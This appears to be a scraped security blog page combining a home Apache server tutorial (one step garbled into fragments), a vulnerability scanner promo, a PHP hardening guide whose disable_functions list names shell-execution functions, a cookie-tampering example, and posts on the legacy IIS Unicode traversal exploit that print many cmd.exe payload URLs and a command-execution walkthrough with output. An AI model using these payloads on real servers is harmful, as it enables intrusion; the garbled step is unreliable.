How To Create A HTTP Server At Home

In this post we will see how to create an HTTP server. A web server is software installed on a computer that allows other computers to access specific files on that computer/server. There are many reasons to create your own home servers. For example: file sharing, so you can download files from your home computer from anywhere or you can create a web site on own server etc. Simply said It works like this; You choose a directory on your computer , in that directory add folders, files like music,video and etc. When you put the IP address of your computer the in web browser you can see all the files from that folder and you can download those files. Let’s now create a server(HTTP server!) using Apache(a server client):
1. You must have:
Broadband internet connection always on
Windows on your computer
2. Create a folder on your disc , in this example I created a folder on E:\my server
3. Download apache_2.2.10-win32-x86-no_ssl.msi and install it, set parameters( for localhost type something like a myserver.com(doesn’t really matter), also type your email address in field “Administrator@ Email Address” ) as shown below, choose where you want to install it.


4..When you install Apache , go to directory where you installed it (p.e. “C:\Program Files\Apache Software Foundation\Apache2.2\conf”) , here you will find a httpd file.
Open that file with notepad.


After this will appear notepad with long and complicated code, don´t worry, you must change just 3 things.
5. In notepad file find #DocumentRoot “C:/Program Files/Apache Group/Apache2/htdocs” and replace with #DocumentRoot “E:\my server”. Also find #<="" allowoverride="" and="" any="" apache2="" apache="" appear="" but="" can="" change="" create="" created="" disc="" e:.="" example="" files="" find="" folder="" group="" here.="" htdocs”="" i="" in="" is="" local="" none="" on="" other="" path="" place,="" program="" put="" replace="" server.="" server="" server”.="" span="" that="" then="" this="" to="" type="" where="" which="" will="" with="" you="" your="">

After this, save file like httpd.conf.

6. Type in web addresses http://localhost/ or your IP Address, you should see something like this



Every files you put in folder , which we created in step 2 , will be shown on http://localhost/
7. If you want access own server from other computers. You must forward a port in the router we’re using. The port we need to forward is port number 80. Why? Because by default it’s the port used for HTTP. Port forwarding actually means opening a tunnel through the router so that the router wouldn’t reject the connections that are trying to connect to it. How to port-forward? With every router it’s different. Here are the instructions for every one of them. You must also turn off you firewall.
That is all. Enjoy your home server. If you have questions, post them in the comments area.
Note: Creating home server is risky,when you open port, there is a possibility to have someone a breach in your computer .Before you start, make sure your computer has all the latest patches and security updates, and that you’ve done a thorough spyware and virus scan. This tutorial is only for advanced users  



link to download apachehttp://httpd.apache.org/download.cgi

Vulnerability Assessment Scanner ! Retina Community

Retina Community is a free vulnerability scanner for up to 32 IPs, powered by the renowned Retina Network Security Scanner technology. Retina Community identifies vulnerabilities, configuration issues, and missing patches across operating systems, applications, devices, and virtual environments.




Retina Community is a good and fast vulnerability scanner for small or non-profit organizations who cannot afford to have a great security for their IT. Administrator can simply scan and get a neat report about their network infections or vulnerabilities.

Much more than a stripped down “free trial” product, Retina Community gives you powerful vulnerability assessment across your environment to strengthen security and compliance. The free Retina Community product includes these capabilities:

• Vulnerability assessment across operating systems, applications, devices, and virtual environments (32 IPs)
• Zero-day vulnerability identification
• SCAP configuration scanning
• Integrated vulnerability updates and alerting
• Detailed vulnerability and executive-level reporting
• Report export to XML, CSV, and PDF
• Online support and resources from eEye’s research team

Its system requirements:

• Windows 2000/XP/2003/Vista SP2/2008 SP2/7/2008 R2
• Intel Pentium IV 1.4 GHz (or compatible)
• 512 MB RAM
• 80MB Free Hard Drive Space
• Microsoft .NET Framework 2.0 (included with installer)
• Network Interface Card (NIC) with TCP/IP enabled

Download Retina Community here

Prevent Website/Server Hacking enable Safe Mode and disable Functions

Just a Short article, to show you how to Enable Safe_Mode and disable Functions which could be the cause of a Website/Server Hacking.

Enabling Safe_Mode

First, Connect to your Server via SSH using Putty or Similliar, or Under Gnu/Linux type in a terminal:

ssh root@ip-address -p portYou'll have to edit php.ini file, Type: nano /etc/php.ini

if you don't know the location of your php.ini file, Create a php file (phpinfo.php) With this content:

Upload it to your Website/Server and open it in your browser, You'll find the location of php.ini in "Loaded Configuration File"

Find (Ctrl + W):

safe_mode = Off

Change it to:

safe_mode = On

Disabling Functions

Find (Ctrl+W):

disable_functions =

Then add the functions that you want to disable, seperated by comma.

Example:

disable_functions= dl,popen,system,exec,shell_exec,suExec,passthru,escapeshellcmd,escapeshellarg,symlink

.......................................

Cookie Structure,Secure vs. Non-Secure,Persistent vs. Non-Persistent

Cookie Structure

(domain) The website domain that created and that can read the variable.
(flag) A TRUE/FALSE value indicating whether all machines within a given domain can access the variable.
(path) The path attribute supplies a URL range for which the cookie is valid. If path is set to /reference, the cookie will be sent for URLs in /reference as well as sub-directories such as/reference/web protocols. A pathname of "/" indicates that the cookie will be used for all URLs at the site from which the cookie originated.
(secure) A TRUE/FALSE value indicating if an SSL connection with the domain is needed to access the variable.
(expiration) The time that the variable will expire on. Omitting the expiration date signals to the browser to store the cookie only in memory; it will be erased when the browser is closed.
(name) The name of the variable.

The limit on the size of each cookie (name and value combined) is 4 kb. A maximum of 20 cookies per server or domain is allowed.
Cookies are the preferred method to maintain state in HTTP protocol. They are however also used as a convenient mechanism to store user preferences and other data including session tokens. Both persistent and non-persistent cookies, secure or insecure can be modified by the client and sent to the server with URL requests. Therefore any attacker can modify cookie content to his advantage. There is a popular misconception that non-persistent cookies cannot be modified but this is not true; tools like Winhex are able to do the job. SSL also only protects the cookie in transit.
The extent of cookie manipulation depends on what the cookie is used for but usually ranges from session tokens to arrays that make authorization decisions.

Cookie Example
Cookie: lang=en-us; ADMIN=no; y=1; time=05:30GMT;
hacker can simply modify the cookie to;
Cookie: lang=en-us; ADMIN=yes; y=1; time=10:30GMT;

Secure vs. Non-Secure

Cookies can be set using two main methods, HTTP headers and JavaScript. JavaScript is becoming a popular way to set and read cookies as some proxies will filter cookies set as part of an HTTP response header. Cookies enable a server and browser to pass information among themselves between sessions. Remembering HTTP is stateless, this may simply be between requests for documents in a same session or even when a user requests an image embedded in a page. It is rather like a server stamping a client and saying show this to me next time you come in. Cookies cannot be shared (read or written) across DNS domains. In correct client operation Domain A can't read Domain B's cookies, but there have been much vulnerability in popular web clients which have allowed exactly this. Under HTTP the server responds to a request with an extra header. This header tells the client to add this information to the client's cookies file or store the information in RAM. After this, all requests to that URL from the browser will include the cookie information as an extra header in the request.

Persistent vs. Non-Persistent

Persistent cookies are stored in a text file (cookies.txt under Netscape and multiple *.txt files for Internet Explorer) on the client and are valid for as long as the expiry date is set for (see below). Non-Persistent cookies are stored in RAM on the client and are destroyed when the browser is closed or the cookie is explicitly killed by a log-off script. Secure cookies can only be sent over HTTPS (SSL). Non-Secure cookies can be sent over HTTPS or regular HTTP. The title of secure is somewhat misleading. It only provides transport security. Any data sent to the client should be considered under the total control of the end user, regardless of the transport mechanism in use.

Conclusion

Attacking web applications is the easiest way to compromise hosts, networks and users. Generally nobody notices web application penetration, until serious damage has been done. Web application vulnerability can be eliminated to a great extent ensuring proper design specifications and coding practices as well as implementing common security procedures. Various tools help the attacker to view the source codes and scan for security holes. The first rule in web application development from a security standpoint is not to rely on the client side data for critical processes. Using an encrypted session such as SSL or "secure" cookies are advocated instead of using hidden fields, which are easily manipulated by attackers. A cross-site scripting vulnerability is caused by the failure of a web based application to validate user supplied input before returning it to the client system. If the application accepts only expected input, then the XSS can be significantly reduced.

Web Server Security - About Unicode

About Unicode
ASCII characters for the dots are replaced with hexadecimal equivalent (%2E).
ASCII characters for the slashes are replaced with Unicode equivalent (%co%af).
Unicode 2.0 allows multiple encoding possibilities for each characters.
Unicode for"/": 2f, c0af, e080af, f08080af, f8808080af,.....
Overlong Unicode are NOT malformed, but not allowed by a correct Unicode encoder and decoder.
Maliciously used to bypass filters that only check short Unicode.
--------------------------------------------------------------------------------
[Example]
1) HackersCenter.com/~DoZ
2) This will turn "~" to "%7E" thus making this link HackersCenter.com/%7EDoZ/
--------------------------------------------------------------------------------
Unicode extensions are installed by default with Microsoft Internet Information Server (IIS) version 4.0 and 5.0. This is to allow characters that are not used in the English language to be recognized by web servers. Computers store letters and other characters by assigning a number to them. Unicode provides a unique number for every character. Unicode forms a single character set across all languages. It is a standard 2-byte or 3-byte character set. The IIS Unicode Exploit allows users to run arbitrary commands on the web server. IIS servers with the Unicode extensions loaded are vulnerable unless they are patched.
This exploit can be used when a writeable or executable directory is available, allowing Hackers to upload bad code.
Another is when a system executable such as cmd.exe is available on the root and does not have an access control list applied to it and
when an attacker sends a bad URL to a web server that looks something like this:
[protocol]://site/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:
If the target has a virtual executable directory like scripts located on the same directory of Windows system, the directory of C: will be revealed. The question mark "?" inserted after cmd.exe represents a command line argument.
For example, appending a/c as in the above example, indicates that it carries out the command specified by the sub ceding string and then stops. The "+" indicates the space between arguments. The variable /..%255c..%255c decodes to /.... which translates to a directory traversal.
This is equivalent to sending a hex value to the server. A common example is %20 which refers to a space. Using a direct hex interpretation of a directory traversal will be checked by IIS user access denied.
The exploit occurs because the CGI routine within the web server decodes the address twice. First CGI filename will be decoded to check if it is an executable file like .exe or .com After the filename checkup , IIS will run another decode process. So an attacker will send various hex values of a required character till a suitable value is accepted and excuted.
Therefore '..' can be represented by '..%255c' , '..%%35c' etc. After first decoding, '..%255c' is turned into '..%5c' IIS will take it as legal character string that can pass security checkup. However, after a second decode process, it will be reverted to '..' and the attack succeeds.
[protocol]://site.com/../../../../../winnt/repair/file.
In this case, the web server will just look for the file in the web root directory called "../../../../../winnt/repair/file._". The '../' tells the web server to search one directory above, so here, the web server will look in the document root for a file called winnt/repair/file. _. The no. of '../"s does not matter as long as there are enough of them to change back to the root of the file system, either c: or / on UNIX system.
The IIS Unicode exploit uses the HTTP protocol and malformed URLs to traverse directories and execute bad commands on the vulnerable web servers. The IIS Unicode exploit uses a Unicode representation of a directory delimiter (/) to fool IIS. Because the exploit uses http, it works directly from the address bar of a browser. Because of the non-interactive nature of this exploit.
Web Server Conclusion
Countermeasures for securing web servers include scanning for existing vulnerabilities and patching them immediately, anonymous access restriction, incoming traffic request screening and filtering. Also study the server and if possible get one and test it to its limits so you know its ins and outs.

Web Server Security - Exploiting IIS

Exploiting IIS
The main security functions of a web server is to restrict user requests so they can only access files within the web folders. Microsoft IIS 4.0 and 5.0 are both vulnerable to double dot "../" directory traversal exploitation if extended Unicode character representations are used in substitution for "/" and "\". This vulnerability provides a way for a malicious user to provide a special URL to the web site that will access any files whose name and location he knows, and which is located on the same logical drive as the web folders. This would potentially enable a malicious user who visited the web site to gain additional privileges on the machine - specifically, it could be used to gain privileges commensurate with those of a locally logged-on user. Gaining these permissions would enable the attackers to add, change or delete data, run code already on the server, or upload new code.
-Example 1-
For example lets look on this good link.
[protocol]://site/scripts/..%c1%1c../path/file.ext
* I am using [protocol] to display HTTP. *
[protocol]://site/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
[protocol]://site/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir
[protocol]://site/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
[protocol]://site/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir
[protocol]://site/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir
[protocol]://site/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir
[protocol]://site/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir
[protocol]://site/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir

-Example 1-
This exploit shows how an attacker can execute commands using a redirect on the target host.
First the attacker copies ".. \..\winnt\system32\cmd.exe" to "..\..\interpub\scripts\cmd1.exe"
Then changes the command to the valid URL.
[protocol]://site/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+copy+..\..\winnt\system32\cmd.exe+cmd1.exe
Vulnerable IIS returns: "CGI Error ... 1 file(s) copied."
The specified CGI application does not return a complete set of HTTP headers. Instead it returns the above error.
Next the attacker runs "cmd1.exe /c echo abc >aaa & dir & type aaa" along with the URL to list the directory contents.
[protocol]://site/scripts/..%c1%9c../inetpub/scripts/cmd1.exe?/c+echo+abc+>aaa&dir&type+aaa
Vulnerable IIS returns:
" Directory of c: \inetpub\scripts
month/day/year [Time]





.
month/day/year [Time] ..
month/day/year [Time] 6 aaa
month/day/year [Time] a 236,304 cmd1.exe
..
abc
"